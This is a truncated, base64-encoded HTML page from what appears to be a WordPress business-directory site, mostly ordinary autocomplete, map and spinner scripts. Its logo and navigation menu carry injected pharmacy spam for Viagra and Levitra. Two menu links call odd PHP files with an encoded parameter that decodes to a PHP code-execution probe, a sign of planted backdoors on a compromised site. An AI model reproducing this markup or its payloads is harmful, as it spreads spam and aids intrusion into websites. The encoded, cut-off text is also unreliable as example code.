CcvL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS8/d29yZGZlbmNlX2xoPTEmaGlkPUQxRDc5NTczMTg1RURGRjhERDRFOUJBOTExQTc0REEwJyk7Cjwvc2NyaXB0PjxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3VwbG9hZHMvMjAxOC8wMi8yNjgwNTQwMF85MDgxMTI2MDI2NzcxMTdfNjgzMzIxMTAwMjAwNzkzMjUzNV9uLTE1MHgxNTAuanBnIiBzaXplcz0iMzJ4MzIiIC8+CjxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3VwbG9hZHMvMjAxOC8wMi8yNjgwNTQwMF85MDgxMTI2MDI2NzcxMTdfNjgzMzIxMTAwMjAwNzkzMjUzNV9uLTMwMHgzMDAuanBnIiBzaXplcz0iMTkyeDE5MiIgLz4KPGxpbmsgcmVsPSJhcHBsZS10b3VjaC1pY29uLXByZWNvbXBvc2VkIiBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE4LzAyLzI2ODA1NDAwXzkwODExMjYwMjY3NzExN182ODMzMjExMDAyMDA3OTMyNTM1X24tMzAweDMwMC5qcGciIC8+CjxtZXRhIG5hbWU9Im1zYXBwbGljYXRpb24tVGlsZUltYWdlIiBjb250ZW50PSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE4LzAyLzI2ODA1NDAwXzkwODExMjYwMjY3NzExN182ODMzMjExMDAyMDA3OTMyNTM1X24tMzAweDMwMC5qcGciIC8+CgoJCTxzY3JpcHQ+CgkJICAnYXJ0aWNsZSBhc2lkZSBmb290ZXIgaGVhZGVyIG5hdiBzZWN0aW9uIHRpbWUnLnJlcGxhY2UoL1x3Ky9nLGZ1bmN0aW9uKG4peyBkb2N1bWVudC5jcmVhdGVFbGVtZW50KG4pIH0pCgkJPC9zY3JpcHQ+CgoJCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCQlqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCQpIHsKCgkJCXZhciBjYXRlZ29yaWVzID0gWyB7IHZhbHVlOiAiMTE1IiAsIGxhYmVsOiAiU29jaWFsIE1lZGlhcnMiIH0seyB2YWx1ZTogIjExNyIgLCBsYWJlbDogIlNvY2lhbCBNZWRpYXJzIEZvciBDaGFyaXR5IiB9LHsgdmFsdWU6ICIxMTYiICwgbGFiZWw6ICJTb2NpYWwgTWVkaWFycyBXYW50ZWQiIH0gXTsKCgkJCXZhciBsb2NhdGlvbnMgPSBbIHsgdmFsdWU6ICIxMTMiICwgbGFiZWw6ICJDYWxpZm9ybmlhIiB9LHsgdmFsdWU6ICI3OCIgLCBsYWJlbDogIi0mbmJzcDtMb3MgQW5nZWxlcyIgfSx7IHZhbHVlOiAiMTA5IiAsIGxhYmVsOiAiQ29sb3JhZG8iIH0seyB2YWx1ZTogIjk3IiAsIGxhYmVsOiAiLSZuYnNwO0RlbnZlciIgfSx7IHZhbHVlOiAiMTAzIiAsIGxhYmVsOiAiQ29ubmVjdGljdXQiIH0seyB2YWx1ZTogIjEwNCIgLCBsYWJlbDogIi0mbmJzcDtIYXJ0Zm9yZCIgfSx7IHZhbHVlOiAiMTA2IiAsIGxhYmVsOiAiSWxsaW5vaXMiIH0seyB2YWx1ZTogIjc5IiAsIGxhYmVsOiAiLSZuYnNwO0NoaWNhZ28iIH0seyB2YWx1ZTogIjEwNSIgLCBsYWJlbDogIk1hc3NhY2h1c2V0dHMiIH0seyB2YWx1ZTogIjEwMCIgLCBsYWJlbDogIi0mbmJzcDtCb3N0b24iIH0seyB2YWx1ZTogIjExMCIgLCBsYWJlbDogIk1pY2hpZ2FuIiB9LHsgdmFsdWU6ICI5NCIgLCBsYWJlbDogIi0mbmJzcDtEZXRyb2l0IiB9LHsgdmFsdWU6ICIxMTIiICwgbGFiZWw6ICJOZXZhZGEiIH0seyB2YWx1ZTogIjEwMiIgLCBsYWJlbDogIi0mbmJzcDtMYXMgVmVnYXMiIH0seyB2YWx1ZTogIjEwNyIgLCBsYWJlbDogIk5ldyBZb3JrIiB9LHsgdmFsdWU6ICI0NiIgLCBsYWJlbDogIi0mbmJzcDtOZXcgWW9yayBDaXR5IiB9LHsgdmFsdWU6ICIxMTgiICwgbGFiZWw6ICJOZXcgWW9yayBDaXR5IiB9LHsgdmFsdWU6ICIxMDgiICwgbGFiZWw6ICJUZXhhcyIgfSx7IHZhbHVlOiAiODUiICwgbGFiZWw6ICItJm5ic3A7RGFsbGFzIiB9LHsgdmFsdWU6ICIxMTEiICwgbGFiZWw6ICJXYXNoaW5ndG9uIiB9LHsgdmFsdWU6ICI5NiIgLCBsYWJlbDogIi0mbmJzcDtTZWF0dGxlIiB9IF07CgoJCQl2YXIgY2F0SW5wdXQgPSAkKCAiI2Rpci1zZWFyY2hpbnB1dC1jYXRlZ29yeSIgKSwKCQkJCWNhdElucHV0SUQgPSAkKCAiI2Rpci1zZWFyY2hpbnB1dC1jYXRlZ29yeS1pZCIgKSwKCQkJCWxvY0lucHV0ID0gJCggIiNkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24iICksCgkJCQlsb2NJbnB1dElEID0gJCggIiNkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24taWQiICk7CgoJCQljYXRJbnB1dC5hdXRvY29tcGxldGUoewoJCQkJbWluTGVuZ3RoOiAwLAoJCQkJc291cmNlOiBjYXRlZ29yaWVzLAoJCQkJZm9jdXM6IGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJCQkJdmFyIHZhbCA9IHVpLml0ZW0ubGFiZWwucmVwbGFjZSgvJmFtcDsvZywgIiYiKTsKCQkJCQkJdmFsID0gdmFsLnJlcGxhY2UoLyZuYnNwOy9nLCAiICIpLnJlcGxhY2UoLyYjMDM5Oy9nLCAiJyIpOwoJCQkJCWNhdElucHV0LnZhbCggdmFsICk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfSwKCQkJCXNlbGVjdDogZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQkJCQl2YXIgdmFsID0gdWkuaXRlbS5sYWJlbC5yZXBsYWNlKC8mYW1wOy9nLCAiJiIpOwoJCQkJCQl2YWwgPSB2YWwucmVwbGFjZSgvJm5ic3A7L2csICIgIikucmVwbGFjZSgvJiMwMzk7L2csICInIik7CgkJCQkJY2F0SW5wdXQudmFsKCB2YWwgKTsKCQkJCQljYXRJbnB1dElELnZhbCggdWkuaXRlbS52YWx1ZSApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0KCQkJfSkuZGF0YSggInVpLWF1dG9jb21wbGV0ZSIgKS5fcmVuZGVySXRlbSA9IGZ1bmN0aW9uKCB1bCwgaXRlbSApIHsKCQkJCXJldHVybiAkKCAiPGxpPiIgKQoJCQkJCS5kYXRhKCAiaXRlbS5hdXRvY29tcGxldGUiLCBpdGVtICkKCQkJCQkuYXBwZW5kKCAiPGE+IiArIGl0ZW0ubGFiZWwgKyAiPC9hPiIgKQoJCQkJCS5hcHBlbmRUbyggdWwgKTsKCQkJfTsKCQkJdmFyIGNhdExpc3QgPSBjYXRJbnB1dC5hdXRvY29tcGxldGUoICJ3aWRnZXQiICk7CgkJCWNhdExpc3QubmljZVNjcm9sbCh7IGF1dG9oaWRlbW9kZTogZmFsc2UgfSk7CgoJCQljYXRJbnB1dC5jbGljayhmdW5jdGlvbigpewoJCQkJY2F0SW5wdXQudmFsKCcnKTsKCQkJCWNhdElucHV0SUQudmFsKCcwJyk7CgkJCQljYXRJbnB1dC5hdXRvY29tcGxldGUoICJzZWFyY2giLCAiIiApOwoJCQl9KTsKCgkJCWxvY0lucHV0LmF1dG9jb21wbGV0ZSh7CgkJCQltaW5MZW5ndGg6IDAsCgkJCQlzb3VyY2U6IGxvY2F0aW9ucywKCQkJCWZvY3VzOiBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCQkJCXZhciB2YWwgPSB1aS5pdGVtLmxhYmVsLnJlcGxhY2UoLyZhbXA7L2csICImIik7CgkJCQkJCXZhbCA9IHZhbC5yZXBsYWNlKC8mbmJzcDsvZywgIiAiKS5yZXBsYWNlKC8mIzAzOTsvZywgIiciKTsKCQkJCQlsb2NJbnB1dC52YWwoIHZhbCApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0sCgkJCQlzZWxlY3Q6IGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJCQkJdmFyIHZhbCA9IHVpLml0ZW0ubGFiZWwucmVwbGFjZSgvJmFtcDsvZywgIiYiKTsKCQkJCQkJdmFsID0gdmFsLnJlcGxhY2UoLyZuYnNwOy9nLCAiICIpLnJlcGxhY2UoLyYjMDM5Oy9nLCAiJyIpOwoJCQkJCWxvY0lucHV0LnZhbCggdmFsICk7CgkJCQkJbG9jSW5wdXRJRC52YWwoIHVpLml0ZW0udmFsdWUgKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCX0pLmRhdGEoICJ1aS1hdXRvY29tcGxldGUiICkuX3JlbmRlckl0ZW0gPSBmdW5jdGlvbiggdWwsIGl0ZW0gKSB7CgkJCQlyZXR1cm4gJCggIjxsaT4iICkKCQkJCQkuZGF0YSggIml0ZW0uYXV0b2NvbXBsZXRlIiwgaXRlbSApCgkJCQkJLmFwcGVuZCggIjxhPiIgKyBpdGVtLmxhYmVsICsgIjwvYT4iICkKCQkJCQkuYXBwZW5kVG8oIHVsICk7CgkJCX07CgkJCXZhciBsb2NMaXN0ID0gbG9jSW5wdXQuYXV0b2NvbXBsZXRlKCAid2lkZ2V0IiApOwoJCQlsb2NMaXN0Lm5pY2VTY3JvbGwoeyBhdXRvaGlkZW1vZGU6IGZhbHNlIH0pOwoKCQkJbG9jSW5wdXQuY2xpY2soZnVuY3Rpb24oKXsKCQkJCWxvY0lucHV0LnZhbCgnJyk7CgkJCQlsb2NJbnB1dElELnZhbCgnMCcpOwoJCQkJbG9jSW5wdXQuYXV0b2NvbXBsZXRlKCAic2VhcmNoIiwgIiIgKTsKCQkJfSk7CgoKCgkJfSk7CgkJPC9zY3JpcHQ+CgoJPC9oZWFkPgoKCTxib2R5IGNsYXNzPSJwYWdlLWlkLTM4ODA2MyI+CgoJCTxkaXYgaWQ9InBhZ2UiIGNsYXNzPSJoZmVlZCAiID4KCgoKCjxkaXYgY2xhc3M9InRvcGJhciBjbGVhcmZpeCI+CgkJPGRpdiBpZD0idGFnTGluZUhvbGRlciI+CgkJCTxkaXYgY2xhc3M9ImRlZmF1bHRDb250ZW50V2lkdGggY2xlYXJmaXgiPgoJCQkJPHAgY2xhc3M9ImxlZnQgaW5mbyI+U29jaWFsIE1lZGlhIElzIE91ciBLdW5nIEZ1IEFuZCBJdCBJcyBTdHJvbmchPC9wPgoKCQkJCQoJCQk8L2Rpdj4KCQk8L2Rpdj4KPC9kaXY+Cgo8aGVhZGVyIGlkPSJicmFuZGluZyIgcm9sZT0iYmFubmVyIj4KCTxkaXYgY2xhc3M9ImRlZmF1bHRDb250ZW50V2lkdGggY2xlYXJmaXgiPgoJCTxkaXYgaWQ9ImxvZ28iIGNsYXNzPSJsZWZ0Ij4KCQkJCTxhIGhyZWY9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vbG9jL2NvbG9yYWRvLyI+U2hvcCBWaWFncmEgU29mdCBpbiBNYWxkaXZlcyBNYWzpPC9hPgoJCTwvZGl2PgoKCQk8bmF2IGlkPSJhY2Nlc3MiIHJvbGU9Im5hdmlnYXRpb24iPgoKCQkJCQo8bmF2IGNsYXNzPSJtYWlubWVudSI+PHVsIGlkPSJtZW51LW1haW4tbWVudSIgY2xhc3M9Im1lbnUiPjxsaSBpZD0ibWVudS1pdGVtLTgyMTEiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0taG9tZSBjdXJyZW50LW1lbnUtaXRlbSBwYWdlX2l0ZW0gcGFnZS1pdGVtLTcgY3VycmVudF9wYWdlX2l0ZW0gbWVudS1pdGVtLTgyMTEiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vY29udGFjdC8iPkJ1eSBMZXZpdHJhIFBsdXMgaW4gU2FpbnQgTWFydGluIE1hcmlnb3Q8L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODI0NCIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjQ0Ij48YSBocmVmPSJodHRwOi8vc29jaWFsbWVkaWFycy5jb20vd3AtY3JhZnQtcmVwb3J0LnBocD9kMT1aR2xsS0cxa05TZ3pORFV6TkNrcE93PT0iPlNob3AgQnJhbmQgTGV2aXRyYSBpbiBDb29rIElzbGFuZHMgQXZhcnVhPC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyMzQiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODIzNCI+PGEgaHJlZj0iaHR0cDovL3NvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvcGx1Z2lucy9zdXBlci1zb2NpYWxhdC9zdXBlcl9zb2NpYWxhdC5waHA/ZDE9WkdsbEtHMWtOU2d6TkRVek5Da3BPdz09Ij5CdXkgVmlhZ3JhIFZpZ291ciBpbiBQZXJ1IExpbWE8L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODIxMiIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjEyIj48L2xpPgo8L3VsPjwvbmF2PgoJCTwvbmF2PgoKCTwvZGl2Pgo8L2hlYWRlcj4KCQkJPGRpdiBpZD0iZGlyZWN0b3J5LW1haW4tYmFyIiBkYXRhLWNhdGVnb3J5PSIwIiBkYXRhLWxvY2F0aW9uPSIwIiBkYXRhLXNlYXJjaD0iIiBkYXRhLWdlb2xvY2F0aW9uPSJmYWxzZSI+CgkJCTwvZGl2PgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgp2YXIgbWFwRGl2LAoJbWFwLAoJaW5mb2JveDsKalF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigkKSB7CgoJbWFwRGl2ID0gJCgiI2RpcmVjdG9yeS1tYWluLWJhciIpOwoJY2x1c3RlckVuYWJsZWQgPSB0cnVlOwoJbWFwRGl2LmhlaWdodCg1MDApLmdtYXAzKHsKCQltYXA6IHsKCQkJb3B0aW9uczogewoJCQkJImRyYWdnYWJsZSI6IHRydWUKCQkJCSwibWFwVHlwZUNvbnRyb2wiOiB0cnVlCgkJCQksIm1hcFR5cGVJZCI6IGdvb2dsZS5tYXBzLk1hcFR5cGVJZC5ST0FETUFQCgkJCQksInNjcm9sbHdoZWVsIjogZmFsc2UKCQkJCSwicGFuQ29udHJvbCI6IHRydWUKCQkJCSwicm90YXRlQ29udHJvbCI6IGZhbHNlCgkJCQksInNjYWxlQ29udHJvbCI6IHRydWUKCQkJCSwic3RyZWV0Vmlld0NvbnRyb2wiOiB0cnVlCgkJCQksInpvb21Db250cm9sIjogdHJ1ZQoJCQkJLGNlbnRlcjogWzQwLjY5NzQzNjc4MTk5NDY4LC03NC4xMjg4MDU5OTQ5ODc0OV0KCQkJCSx6b29tOiAxMAoJCQl9CgkJCSxldmVudHM6ewoJCQkJem9vbV9jaGFuZ2VkOiBmdW5jdGlvbihtYXApewoJCQkJCWNsdXN0ZXJlciA9IG1hcERpdi5nbWFwMyh7IGdldDogeyBuYW1lOiAiY2x1c3RlcmVyIiB9fSk7CgkJCQkJaWYgKG1hcC5nZXRab29tKCkgPj0gMTkpIHsKCQkJCQkJaWYgKGNsdXN0ZXJFbmFibGVkKSB7CgkJCQkJCQljbHVzdGVyZXIuZGlzYWJsZSgpOwoJCQkJCQkJY2x1c3RlckVuYWJsZWQgPSBmYWxzZTsKCQkJCQkJfQoJCQkJCX0gZWxzZSB7CgkJCQkJCWlmICghY2x1c3RlckVuYWJsZWQpIHsKCQkJCQkJCWNsdXN0ZXJlci5lbmFibGUoKTsKCQkJCQkJCWNsdXN0ZXJFbmFibGVkID0gdHJ1ZTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCQksbWFya2VyOiB7CgkJCXZhbHVlczogWwoJCQkJCXsKCQkJCQkJbGF0TG5nOiBbNDAuNjk3NDM2NzgxOTk0NjgsLTc0LjEyODgwNTk5NDk4NzQ5XSwKCQkJCQkJb3B0aW9uczogewoJCQkJCQkJaWNvbjogImh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTYvMTIvZy1lMTQ4MzExODM2ODQyOC5qcGciLAoJCQkJCQkJc2hhZG93OiAiaHR0cDovL2RlbW8xMDAuZ29sZHdlYi5iaXovd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvbWFwLWljb24vaWNvbi1zaGFkb3cucG5nIiwKCQkJCQkJfSwKCQkJCQkJZGF0YTogCSc8ZGl2IGNsYXNzPSJtYXJrZXItaG9sZGVyIj4nKwoJCQkJCQkJCQknPGRpdiBjbGFzcz0ibWFya2VyLWNvbnRlbnQgd2l0aC1pbWFnZSI+PGltZyBzcmM9Imh0dHA6Ly9kZW1vMTAwLmdvbGR3ZWIuYml6L3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL2RlZmF1bHQtcG9zdC1pbWFnZS5qcGciIGFsdD0iIj4nKwoJCQkJCQkJCQkJJzxkaXYgY2xhc3M9Im1hcC1pdGVtLWluZm8iPicrCgkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9InRpdGxlIj4nKyJnIG1vbmV5IisnPC9kaXY+JysKCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0iYWRkcmVzcyI+JysibmV3IFlvcmsgY2l0eSIrJzwvZGl2PicrCgkJCQkJCQkJCQkJJycrCgkJCQkJCQkJCQkJJzwvZGl2PjxkaXYgY2xhc3M9ImFycm93Ij48L2Rpdj4nKwoJCQkJCQkJCQkJJzwvZGl2PicrCgkJCQkJCQkJCSc8L2Rpdj4nKwoJCQkJCQkJCSc8L2Rpdj4nCgkJCQkJfQoJCQldLAoJCQlvcHRpb25zOnsKCQkJCWRyYWdnYWJsZTogZmFsc2UKCQkJfSwKCQkJY2x1c3Rlcjp7CgkJCQlyYWRpdXM6IDIwLAoJCQkJLy8gVGhpcyBzdHlsZSB3aWxsIGJlIHVzZWQgZm9yIGNsdXN0ZXJzIHdpdGggbW9yZSB0aGFuIDAgbWFya2VycwoJCQkJMDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMSc+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gMjAgbWFya2VycwoJCQkJMjA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTInPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJLy8gVGhpcyBzdHlsZSB3aWxsIGJlIHVzZWQgZm9yIGNsdXN0ZXJzIHdpdGggbW9yZSB0aGFuIDUwIG1hcmtlcnMKCQkJCTUwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0zJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCWV2ZW50czogewoJCQkJCWNsaWNrOiBmdW5jdGlvbihjbHVzdGVyKSB7CgkJCQkJCW1hcC5wYW5UbyhjbHVzdGVyLm1haW4uZ2V0UG9zaXRpb24oKSk7CgkJCQkJCW1hcC5zZXRab29tKG1hcC5nZXRab29tKCkgKyAyKTsKCQkJCQl9CgkJCQl9CgkJCX0sCgkJCWV2ZW50czogewoJCQkJY2xpY2s6IGZ1bmN0aW9uKG1hcmtlciwgZXZlbnQsIGNvbnRleHQpewoJCQkJCXZhciBtYXAgPSBqUXVlcnkodGhpcykuZ21hcDMoImdldCIpOwoJCQkJCWpRdWVyeSgiI2RpcmVjdG9yeS1tYWluLWJhciIpLmZpbmQoJy5pbmZvQm94JykucmVtb3ZlKCk7CgkJCQkJaWYoY29udGV4dC5kYXRhICE9ICJkaXNhYmxlZCIpewoKCQkJCQkJdmFyIGluZm9Cb3hPcHRpb25zID0gewoJCQkJCQkJY29udGVudDogY29udGV4dC5kYXRhLAoJCQkJCQkJZGlzYWJsZUF1dG9QYW46IGZhbHNlLAoJCQkJCQkJbWF4V2lkdGg6IDE1MCwKCQkJCQkJCXBpeGVsT2Zmc2V0OiBuZXcgZ29vZ2xlLm1hcHMuU2l6ZSgtNTAsIC02NSksCgkJCQkJCQlib3hTdHlsZTogewoJCQkJCQkJCXdpZHRoOiAiMjkwcHgiCgkJCQkJCQl9LAoJCQkJCQkJY2xvc2VCb3hNYXJnaW46ICI0cHgiLAoJCQkJCQkJY2xvc2VCb3hVUkw6ICJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL21hcC1pY29uL3BvcF91cC1jbG9zZS5wbmciLAoJCQkJCQkJLy8gZW5hYmxlRXZlbnRQcm9wYWdhdGlvbjogdHJ1ZSwKCQkJCQkJCWluZm9Cb3hDbGVhcmFuY2U6IG5ldyBnb29nbGUubWFwcy5TaXplKDEsIDEpLAoJCQkJCQkJcG9zaXRpb246IG1hcmtlci5wb3NpdGlvbgoJCQkJCQl9OwoJCQkJCQlpbmZvYm94ID0gbmV3IEluZm9Cb3goaW5mb0JveE9wdGlvbnMpOwoKCQkJCQkJaW5mb2JveC5vcGVuKG1hcCxtYXJrZXIpOwoJCQkJCX0KCQkJCQltYXAucGFuVG8obWFya2VyLmdldFBvc2l0aW9uKCkpOwoKCQkJCQkvLyBpZiBtYXAgaXMgc21hbGwKCQkJCQl2YXIgaVdpZHRoID0gMjYwOwoJCQkJCXZhciBpSGVpZ2h0ID0gMzAwOwoJCQkJCWlmKChtYXBEaXYud2lkdGgoKSAvIDIpIDwgaVdpZHRoICl7CgkJCQkJCXZhciBvZmZzZXRYID0gaVdpZHRoIC0gKG1hcERpdi53aWR0aCgpIC8gMik7CgkJCQkJCW1hcC5wYW5CeShvZmZzZXRYLDApOwoJCQkJCX0KCQkJCQlpZigobWFwRGl2LmhlaWdodCgpIC8gMikgPCBpSGVpZ2h0ICl7CgkJCQkJCXZhciBvZmZzZXRZID0gLShpSGVpZ2h0IC0gKG1hcERpdi5oZWlnaHQoKSAvIDIpKTsKCQkJCQkJbWFwLnBhbkJ5KDAsb2Zmc2V0WSk7CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJCSAJfSk7CgoJbWFwID0gbWFwRGl2LmdtYXAzKCJnZXQiKTsKCWluZm9ib3ggPSBuZXcgSW5mb0JveCh7CgkJcGl4ZWxPZmZzZXQ6IG5ldyBnb29nbGUubWFwcy5TaXplKC01MCwgLTY1KSwKCQljbG9zZUJveFVSTDogImh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvbWFwLWljb24vcG9wX3VwLWNsb3NlLnBuZyIsCgkJYm94U3R5bGU6IHsKCQkJd2lkdGg6ICIyOTBweCIKCQl9LAoJCWNsb3NlQm94TWFyZ2luOiAiNHB4IiwKCQllbmFibGVFdmVudFByb3BhZ2F0aW9uOiBmYWxzZQoJfSk7CgoJaWYgKE1vZGVybml6ci50b3VjaCl7CgkJbWFwLnNldE9wdGlvbnMoeyBkcmFnZ2FibGUgOiBmYWxzZSB9KTsKCQl2YXIgZHJhZ2dhYmxlQ2xhc3MgPSAnaW5hY3RpdmUnOwoJCXZhciBkcmFnZ2FibGVUaXRsZSA9ICJBY3RpdmF0ZSBtYXAiOwoJCXZhciBkcmFnZ2FibGVCdXR0b24gPSAkKCc8ZGl2IGNsYXNzPSJkcmFnZ2FibGUtdG9nZ2xlLWJ1dHRvbiAnK2RyYWdnYWJsZUNsYXNzKyciPicrZHJhZ2dhYmxlVGl0bGUrJzwvZGl2PicpLmFwcGVuZFRvKG1hcERpdik7CgkJZHJhZ2dhYmxlQnV0dG9uLmNsaWNrKGZ1bmN0aW9uICgpIHsKCQkJaWYoJCh0aGlzKS5oYXNDbGFzcygnYWN0aXZlJykpewoJCQkJJCh0aGlzKS5yZW1vdmVDbGFzcygnYWN0aXZlJykuYWRkQ2xhc3MoJ2luYWN0aXZlJykudGV4dCgiQWN0aXZhdGUgbWFwIik7CgkJCQltYXAuc2V0T3B0aW9ucyh7IGRyYWdnYWJsZSA6IGZhbHNlIH0pOwoJCQl9IGVsc2UgewoJCQkJJCh0aGlzKS5yZW1vdmVDbGFzcygnaW5hY3RpdmUnKS5hZGRDbGFzcygnYWN0aXZlJykudGV4dCgiRGVhY3RpdmF0ZSBtYXAiKTsKCQkJCW1hcC5zZXRPcHRpb25zKHsgZHJhZ2dhYmxlIDogdHJ1ZSB9KTsKCQkJfQoJCX0pOwoJfQoKLy8gbG9hZGluZyBzcGlubmVyCnZhciBvcHRzID0gewoJbGluZXM6IDEzLCAvLyBUaGUgbnVtYmVyIG9mIGxpbmVzIHRvIGRyYXcKCWxlbmd0aDogOSwgLy8gVGhlIGxlbmd0aCBvZiBlYWNoIGxpbmUKCXdpZHRoOiA5LCAvLyBUaGUgbGluZSB0aGlja25lc3MKCXJhZGl1czogMjcsIC8vIFRoZSByYWRpdXMgb2YgdGhlIGlubmVyIGNpcmNsZQoJY29ybmVyczogMSwgLy8gQ29ybmVyIHJvdW5kbmVzcyAoMC4uMSkKCXJvdGF0ZTogMCwgLy8gVGhlIHJvdGF0aW9uIG9mZnNldAoJY29sb3I6ICcjRkZGJywgLy8gI3JnYiBvciAjcnJnZ2JiCglzcGVlZDogMS44LCAvLyBSb3VuZHMgcGVyIHNlY29uZAoJdHJhaWw6IDgxLCAvLyBBZnRlcmdsb3cgcGVyY2VudGFnZQoJc2hhZG93OiB0cnVlLCAvLyBXaGV0aGVyIHRvIHJlbmRlciBhIHNoYWRvdwoJaHdhY2NlbDogZmFsc2UsIC8vIFdoZXRoZXIgdG8gdXNlIGhhcmR3YXJlIGFjY2VsZXJhdGlvbgoJY2xhc3NOYW1lOiAnc3Bpbm5lcicsIC8vIFRoZSBDU1MgY2xhc3MgdG8gYXNzaWduIHRvIHRoZSBzcGlubmVyCgl6SW5kZXg6IDJlOSwgLy8gVGhlIHotaW5kZXggKGRlZmF1bHRzIHRvIDIwMDAwMDAwMDApCgl0b3A6ICdhdXRvJywgLy8gVG9wIHBvc2l0aW9uIHJlbGF0aXZlIHRvIHBhcmVudCBpbiBweAoJbGVmdDogJ2F1dG8nIC8vIExlZnQgcG9zaXRpb24gcmVsYXRpdmUgdG8gcGFyZW50IGluIHB4Cn07Cgp2YXIgdGFyZ2V0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RpcmVjdG9yeS1tYWluLWJhcicpLAoJc3Bpbm5lciA9IG5ldyBTcGlubmVyKG9wdHMpLnNwaW4odGFyZ2V0KSwKCXNwaW5uZXJEaXYgPSBtYXBEaXYuZmluZCgnLnNwaW5uZXInKTsKCnZhciBzZWFyY2ggPSAkKCcjZGlyZWN0b3J5LXNlYXJjaCcpLAoJc2VhcmNoSW5wdXQgPSAkKCcjZGlyLXNlYXJjaGlucHV0LXRleHQnKSwKCXNlYXJjaFN1Ym1pdCA9ICQoJyNkaXItc2VhcmNoc3VibWl0JyksCgljYXRlZ29yeUlucHV0ID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1jYXRlZ29yeScpLAoJbG9jYXRpb25JbnB1dCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24nKSwKCWdlb0lucHV0ID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1nZW8nKSwKCWdlb0lucHV0UmFkaXVzID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1nZW8tcmFkaXVzJyksCglnZW9JbnB1dExhdCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvLWxhdCcpLAoJZ2VvSW5wdXRMbmcgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWdlby1sbmcnKTsKCmZ1bmN0aW9uIHNob3dMb2FkaW5nKGRpc2FibGVTdWJtaXQpIHsKCXZhciB0b3BQb3NpdGlvbiA9I